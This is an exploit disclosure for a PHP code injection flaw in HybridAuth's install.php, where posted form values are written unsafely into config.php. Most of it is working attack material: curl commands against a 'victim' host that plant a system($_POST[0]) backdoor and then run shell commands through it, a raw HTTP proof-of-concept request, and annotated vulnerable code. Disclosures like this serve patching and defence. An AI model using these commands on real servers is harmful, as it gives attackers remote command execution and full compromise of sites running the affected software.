[+] Description
============================================================
HybridAuth enable developers to easily build social applications to engage
websites
vistors and customers on a social level by implementing social signin,
social sharing,
users profiles, friends list, activities stream, status updates and more.


[+] Exploit (New Version)
============================================================

I just found that the latest development version (2.2.2-dev) in Github was
trying to patch this months ago.

https://github.com/hybridauth/hybridauth/commit/574953517cda02eb631d68879bbc4f203fd203b9#diff-7fa84e199bd97f30cea5aea71735379c

...
function stringSanitization($string)
{
$string = strip_tags($string);
$string = htmlentities($string, ENT_QUOTES, 'UTF-8');
return $string;
}
...
foreach( $_POST AS $k => $v ):
$v = stringSanitization($v); <--- sanitize ???
$k = stringSanitization($k); <--- sanitize ???
$z = "#$k#";
$CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
endforeach;
...

However, the sanitization is not sufficient to prevent PHP code injection.
We can inject to next value that will never be sanitized with
htmlentities() :/

Note that the default installation leave "install.php" untouched.
$ curl http://victim/hybridauth/install.php -d
'OPENID_ADAPTER_STATUS=system($_POST[0]))));/*'
$ curl http://victim/hybridauth/config.php -d '0=id;ls -lha'



[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

1. Inject Evil PHP Backdoor
POST /hybridauth_git/install.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

OPENID_ADAPTER_STATUS=system($_POST[0]))));/*

HTTP/1.1 200 OK

2. Gaining access to the PHP backdoor
POST /hybridauth_git/config.php HTTP/1.1

[+] Vulnerability Analysis
============================================================

Filename: ./install.php
...
function stringSanitization($string)
{
$string = strip_tags($string);
$string = htmlentities($string, ENT_QUOTES, 'UTF-8'); <-- LoL
return $string;
}
...
if( count( $_POST ) ): <-- user controlled input HTTP POST data
\/-- Read a template file
$CONFIG_TEMPLATE = file_get_contents( "Hybrid/resources/config.php.tpl"
);

foreach( $_POST AS $k => $v ):
$v = stringSanitization($v);
$k = stringSanitization($k);
$z = "#$k#";

\/-- #POST data's keys# found in template file will be replaced
with POST data's values
| so we can simply replace these existing values with something
fun :)
$CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
endforeach;
...
\/-- upload that replaced template contents into config.php
$is_installed = file_put_contents( $GLOBAL_HYBRID_AUTH_PATH_BASE .
"config.php", $CONFIG_TEMPLATE );
...

Filename: ./Hybrid/resources/config.php.tpl
...
return
array(
"base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

"providers" => array (
// openid providers
"OpenID" => array (
"enabled" => #OPENID_ADAPTER_STATUS# <-- #..# will be
replaced with arbitrary PHP code
),
...

So this is what injected "config.php" looks like...
Filename: ./config.php
<?php
...
return
array(
"base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

"providers" => array (
// openid providers
"OpenID" => array (
"enabled" => system($_POST[0]))));/*
),
...

Pwned again,
